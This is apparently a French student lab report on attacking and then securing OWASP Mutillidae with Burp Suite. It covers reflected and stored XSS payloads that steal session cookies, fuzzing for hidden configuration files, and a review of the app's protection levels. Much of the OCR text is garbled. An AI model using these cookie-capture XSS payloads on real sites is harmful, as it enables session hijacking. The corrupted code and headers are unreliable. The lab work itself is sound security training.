</tablex
</ forms>

<div class="report-header">
Results for localhost
</div>

"output">
Server: 192.168.9E.1
Address: 192.168.96.1#53

Hon-authoritative answer:
Name: localhost

Address: 127.0.0.1

Name: localhost

Address: Hr'S
</pre>
<!-= T think the database

password is set to blank or
perhaps samurai.
b

AmmamAs mm wharhes s

target host=<script>alert (document.cookie) ;</script>&dns-lookup-php-submit-button=Lookup+DHS
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Nouvelle tentative en mode sécurisé et analyse du code source

Niveau de sécurité 1
Question n°1

L’attaque du défi n°1 est toujours possible méme avec un niveau de sécurité a 1.

localhost:8080 indique

PHPSESSID=0k1a59s1613v2tet8atkdgrbhr; showhint:
username=utilisateur; u

Question n°2
Au niveau 0, cela est possible.

Dés le niveau 1, cela n"est plus possible :

localhost:8080 indique

Malicious characters are not allowed.

Don't listen to secunty people. Everyone knows if we just filter
dangerous characters, injection is not possible.

We use JavaScript defenses combined with filtering technology.

Both are such great defenses that you are stopped in your tracks.

Question n°3

itch ($_SESSION[
e :
$1EnableJavaScriptValidation = FAL
$1EnableHTMLControls = FALSE;
$1ProtectAgainstMethodTampering = FAL
$1ProtectAgainstCommandInjection=FALSE;
$1ProtectAgainstXSS = FALSE;

bre:

e "1":

$1EnableJavaScriptValidation = TRUE;
$1EnableHTMLControls = TRUE;
$1ProtectAgainstMethodTampering = FALSE;
$1ProtectAgainstCommandInjection=FALSE;
$1ProtectAgainstXSS = FALSE;

$1ProtectAgainstCommandInjection=TRUE;
$1EnableHTMLControls = TRUE;
$1EnableJavaScriptValidation = TRUE;
$1ProtectAgainstMethodTampering = TRUE;
$1ProtectAgainstXSS = TRUE;




Question n°4

Les caracteres typiques utilisés lors d’une attaque XSS sont les balise « <script> ».

Niveau de sécurité 5

Question n°5

En suivant les mémes étapes que ci-dessus, on constate que I'attaque n’est pas possible avec un ni-

veau de sécurité a 5, 'erreur suivante est retournée :

Error: Invalid Input

Enter IP or hostname

HostnamellP —
(Lookupons )

Question n°6

case "H":

$1ProtectAgainstCommandInjection=TRUE;
$1EnableHTMLControls = TRUE;

$1EnableJavaScriptValidation = TRUE;
$1ProtectAgainstMethodTampering = TRUE;
$1ProtectAgainstXSS = TRUE;

Question n°7

Le réle de cette instruction est de dire que si la variable « SIProtectAgaisntMethodTampering » n’est
pas défini / est nulle, alors SITargetHost = $_POST[‘target_host] , sinon S_REQUEST[‘target_host’].

S_POST permet de récupérer les variables envoyées avec la méthode POST, tandis que S_REQUEST
contient les variables de S_GET/S_POST et S_COOKIE.

Question n°8

Elle vérifie que la variable correspond aux paternes désirés (IPV4, DOMAIN, IPV6) en utilisant des
regex.

$1TargetHostValidated = (IPV4_REGEX_PATTERN, $1Tar-

getHost) || (DOMAIN_NAME_REGEX_PATTERN, $1TargetHost)
| | (IPV6_REGEX_PATTERN, $1TargetHost);




Question n°9

La fonction est la suivante:

$1TargetHostText = $Encoder->encodeForHTML($1TargetHost);

Question n°10
Question n°11
Le niveau de protection n°5 met en ceuvre les protections suivantes :

- Sécurisation du formulaire html (minlength, maxlength, required)
- Validation via javascript : vérification des characteres...
- Vérification du paterne de la donnée entrée par I'utilisateur (command injection)

- Protection contre les attaques XSS : encodage des données

XSS permanant via une page affichant des logs
Question n°1

Mutillidea et BurpSuite sont sur la méme machine, ils peuvent donc communiquer.
Le niveau de sécurité de Mutillidae est positionné sur 0.

Question n°2

Réalisation du deuxiéme défi permettant de capturer les cookies d’identification des victimes qui visi-

tent la page des logs.

naw  men - -
1 POST /index.php?page=login.php HTTR/1.1
2 Host: lecalhost:S0E0
5 Content-Length: 54
4 Cache-Control: max-age=0
5 sec-ch-ua: "Not;Ak=Brand";w="88", "Chromiunm";w="l0E"
h-ta-mobile: 70
s ~ua-platform: "Windows"”
Upgrade-Tnsecure-Requests: 1
@ Origin: http://localhost:S0S0
10 Content-Type: application/x-www-form-urlencoded
1l User-Agent: NMozilla/S.0 (Windows NT 10.0; Wing4; x£4) AppleWebKit/537.36 (KHTHML, like Gecko) Chrome/l106.0.5249.62

same-origin
navigate

r: http://localhost:S080/ index. php?page=login. phyp
~Encoding: gzip, deflate
-Language: fr—FR,fr;g=0.9,2n-US;q=0.8,2n;q=0.7

20 Cookie: PHPSESSID=0k1a59s1él3witecBatkdqrbhr; showhints=1
21 Connection: close

23 username=testl&password=&login-php-suwbmit-button=Login
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¢ Sec-Fetch-Mods: navigate

Sec-Fetch-User: 71

© Sec-Fetch-Dest: document
7 Beferer: http://localhost:B080/index. php?page=login.php

Acecept-Encoding: gzip, deflate

Accept-Language: fr-FR,fr;q=0.9,en-US;qg=0.8,en:;q=0.7
Cookie: PHPSESSID=0DklaSSslél3vitetBatkdgrbhr; showvhints=1
Connection: closs

username=

530%T3%E3%72%609% T0%T4%3e5 645 6E% 755 Ed%E5% 6% T4% s B 6t E3% 61 T4%609% % Ees3ds 0% EB%TA%T74570%3a% %256 Ef%E3%E61%EcsE
B%EL%73%74%3a%38%30%30%30% L% E09% 6% E4%65%78% 2% T0%E0% 70535705 EL%ET%E0%3A%E3%E 15705745705 TS E05 S E4%EL%T4%E61%2e370%
EB%70%ZE6%63%3d%22%2hb%E4%EL%E3%75%EdsES% 6% 7432 %3565 ELYELSET% 653332 E%T73%E3%72%69%70%74%3egpassword=test3 &
login-php-submit-button=Login
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Codage sécurisé et analyse du code source
Question n°2

Non, elle ne réussit pas, car la variable SIEncodeQutput est a true. Ce qui fait que le code présent dans
la base de données n’est pas exécuter a l'affichage.

Question n°3

$1EncodeOutput = TRUE;

$1LimitOutput = TRUE;
Question n°4

L'option de sécurité SILimitOutput, lorsqu’elle est a « true », va limiter 'accés aux logs aux 20 derniéres lignes de
la base de données.

L'option de sécurité SIEncodeOutput, lorsqu’elle est & « true », va encoder les données pour les afficher en
HTML et éviter une attaque de ce type.

if(!$1EncodeOutput){
$1Hostname = $row—rhostname;
$1ClientIPAddress = $row—ip;
$1Browser = $row—browser;
$1Referer = $row—referer;
$lDate = $row—date;

}elseq{

$1Hostname = $Encoder—encodeForH ($row—hostname);
$1ClientIPAddress = $Encoder—encodeForHTML($row—ip);
$1Browser = $Encoder—e rHTML ($row—browser) ;
$1Referer = $Encoder—encodeForHTML($row—referer);
$1Date = $Encoder—en HTML ($row—date);

Question n°5

- https://javadoc.io/doc/org.owasp.encoder/encoder/latest/index.html

- https://learn.microsoft.com/en-us/aspnet/core/security/cross-site-scripting?view=aspnetcore-7.0

- https://www.invicti.com/blog/web-security/preventing-xss-ruby-on-rails-web-applications

Question n°6

- Encoder (échapper) les données en entrée et en sortie

- Filtrer les données regues coté client

- Valider les entrées utilisateurs

- Utiliser le standard CSP (Content Security Policy)

- La fonction htmlspecialchars() convertit les caractéres spéciaux en entités HTML.

- htmlentities()

- strip_tags(), cette fonction supprime toutes les balises.

- Au possible, il faut placer des cookies avec le paramétre HttpOnly, empéchant leur récupération avec JavaScript

(Attention elle n’est pas forcément supportée par tous les navigateurs).
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https://javadoc.io/doc/org.owasp.encoder/encoder/latest/index.html
https://learn.microsoft.com/en-us/aspnet/core/security/cross-site-scripting?view=aspnetcore-7.0
https://www.invicti.com/blog/web-security/preventing-xss-ruby-on-rails-web-applications
http://php.net/manual/fr/function.setcookie.php

Activité n°4 : Breche sur des informations confi-
dentielles

Affichage d’une page de configuration confidentielle

Mutillidea et BurpSuite sont sur la méme machine, ils peuvent donc communiquer.
Le niveau de sécurité de Mutillidae est positionné sur 0.

Burp  Project  Intruder Repeater Window Help Burp Suite Community Edition v2022,11.4 - Temporary Pra,
Dashboard Target P iy Intruder Repeater Sequencer Decoder Comparer Logger Extensions
ntercept HITP history ‘Web5Sockets history Options

7 Request to hitp://172.30.68.91:80

Forward Drop m Adkion Open Browser
Raw Hex B n =
1 GET findex. php?page=lhone phpopopUplotificationCode=HPHD HTTP/1.1
2 Host: 172_30.£8.51
2 Upgrade-Insscurs-Requescs: 1
4 User-Agent: Mozillass. 0 (Vindows NT 10.0; Winéd: x&4) AppleWebKits537.36 (FHTML, 1like Gecko)

Chrome/l08.0.5359.95 Safari/f537.36

& Accept:

tezt/htnl, application/zhtaléxnl, application/znl;q=0.9, inage/avif, inage /webp, inage fapng, */*;q=0. 8 applic
aciocn/signed-exchange;v=h3;q=0.9

€ Referer: htcp://172.30.808.317index.phpipage=hene. phpipepUplociticationCode=HPHD

Accept-Encoding: geip, deflate

o Accept-Language: fr=-FR fr:q=0.9 en-US;q=0.0,en;q=0.7

% Coockie: PHRFERESID=bligkaipculrelhdldcoféankgfe; showhints=l

10 Connesccion: close

Faire un clic droit au milieu de I'intercepteur et cliquer sur Send to Repeater. Se rendre sur I'onglet
Repeater et cliquer sur le bouton Go pour voir la réponse obtenue sur la page existante home.php

Bup  Froject intruder Repeater Window  Help Burp Sute Community EQRION v2022.11.4 - Temporary Frojedt - o x
Dsnboard Target Eroeey Intruder Fepester Sequencer Decoder Comparer Logger Exteriony Learn {3 setgings
= + Q f
=ne o it | n @

o= o

Request Response

I B Hes B v = Prely B Hex Rander Bvrs= =
GET fi T2 dthe HITRAL. L HITR/L. 4 200 0K —
2 Host 0. 8. 8L I Dare: Hem, L2 D &
Dpgrads -Tnescurs-Ragaeste: 1 Sarver: Apache/Z. 4. 4L b}

i Usex-hgent: MozillasE 0 (Windews WT 10.0; Wisid: sédi This, 15 Hev LS81 (:52:00 CHT A
AFPLAANILS /83736 FNTRL, Like Gacka) Cheomesi08.3 534835 S g
=

Batarif537.36

e
ceRt AruL , APPLiTation, Kheml buml, applicat ion/ el gr0. 8, imagesavi e
cdmage/vabp, inage/apag, /g0, B applicat onssigned-eachangeivel

TANSPOTT-FEUTSTY man-ages]
5 Bafeczar-Policy: wmsate-usl

Taqec
Referer:
betp: /19230, 4881/ index Ercationfod
«~HFED
Aecap-Encoding: detlace

7 Acoeps-Langua EriqeD. P, en-US:qe0. 0, en:q=0. 7

5 Codlkie: PEPSESEID
Connection: clowe

IeBEaskyte; showhinessl

& matches

Vary: Accept-Encoding

1 Commeecion: elose

1% Content-Type: test/hiel;charet=UT8-8
* H-Contens - Bncoding-Twer-Neework: gaip
L4 Contmnt-Length: 54170

L6 <IBOCTYPE HTHL BUBLIC *-/
“Betp: f/nne. wd. cog/TRILED:

SEyles/gritter/ Jqeery. gritter. css® />

AmcTAPt Sromt)avascripes]lusry/iqaery. 15T

& matces

54,521 bybes | 95 millis
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Reproduire ensuite toutes les étapes précédentes avec une page inexistante sur le serveur comme

home777.php. Envoyer la réponse obtenue par le serveur au comparateur (Send to Comparer). Vous

devriez obtenir ceci au niveau de I'onglet Comparer de BurpSuite.

HITPhstory  WebSorketshestory  Optsons

£F Request to e 172.30.68.5100

a .
{5 settmgs

@

Paste
Load
B

Clear

m] »

Burp  Projedt  Inknsder  Repeater  Window Help Burp Suite Commurity Edition v2022 11 4 - Temporary Project -
Dmmbosrd Terget Prowy Intnpster Repeatar SEquenicer Dacnser Comparsr Logger Extensions Lesrn
Comparer
Thiy funsissn bein yow S0 @ ward- or Be-level comparison bebween different date You can boad, parte, oo serd data here from olber boniy and then seiet the comparison you wart 1o
pifoim
Saledt e 1;
- Length Diafta
1 B L] HTTRA, 1 200 OKDeke: Maon, 12 Dec 2022 191258 GMTServers Apsche/d 441 Wbuntu)x.,,
Burp  Project  infruder Repeater Window  Help Burp Suite Community Edition v2022 91.4 - Temporary Prapect -
Deshboard Target Frow Intruder Repeater Sequencer Decoder Comparer Legger Extensions Leam

) Settings

Forward Direp m Adtinn Open Broweser | & wHrTen @

Results Positions Payloads Resaurce Pool Options

Filter: Showing all items

B Hex 2w = Inspector a0 = B X

L GET Fimdex. php?pageenema T, php cpopUphor 1 £1eat L omCo desHFHO HITRL. 1
2 Howe: 192 350 88_51 Request Attributes 2 w
1 Upgrsde-Tnseoure-Regquescs: L
4 Omsz-Agenk: MozillalE. 0 (Windcws BT 10.0) WinEd, =zE4| AppleWebFit/E8¥7 38 |FHTHL, like Ceckal

Cheowe/L08. 0, 5150, 95 Satard/537.35 Bequest Cuery Faraneters 2 w
5 AEeapt

ewxe /ieul, application/chesliznl, applicss ionfenl ;qel 9, diuagefawd §, iusgs frebp, imags /apng, 7% qed. 0, spplic

At lom/ s Lgeed - evchasge i wels 3 qel 5 Request Bedy Farsmeters o el
¢ Emfsrer: brep: (7172308891 indes. phptpage-hons . phpépoplplict i Eacak sonCode=HPED
7 Aposps-Eneoding: guip, @eflsce
8 Aecape-Language: fr—Fi, brjget_ 8, a8 pget. &, anpqed_? Request Cookics : -
% Cookie: PAPSESEID=higkaiprulreThdHolsankgis; shevhincs=l
L0 Connection: eless Request Headers 5 w

Attack Save Columns 2, Intruder attack of hitp://172.30.68.91 - Temporary attack - Not saved to p... - O X

Requ... Payload Status Error Timeout Length Page Not Found Comment
0 200 | 54521

1 home.php 200 | | 54521

2 home777.php 200 | 49625 2

3 secret.php 200 | 133786

4 secret.html 200 | 49625 2

5 Jhtaccess 200 | 133779

6 htpasswd 200 - [] 133779

7 password.php 200 | 49630 2

Mise en place de |'attaque par fuzzing
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Tentative en mode sécurisé & Analyse du code source
Question n°1

Non le niveau de sécurité 1 ne permet pas d’éviter cela.
Question n°2

Le niveau de sécurité 1 active la variable $IShowPHPInfo.
Question n°3

Oui le niveau de sécurité 5 permet d’éviter cela.

Question n°4

Au niveau de sécurité 5 active une condition qui permet I'affichage de la page phpinfo.php si Iutilisa-

teur connecté est I'admin et uniquement dans ce cas-la.
Question n°5

On peut désactiver des fonctions a I'aide du php.ini :

disable functions phpinfo

- https://www.developpez.net/forums/d82666/php/langage/securite-desactiver-

phpinfo/
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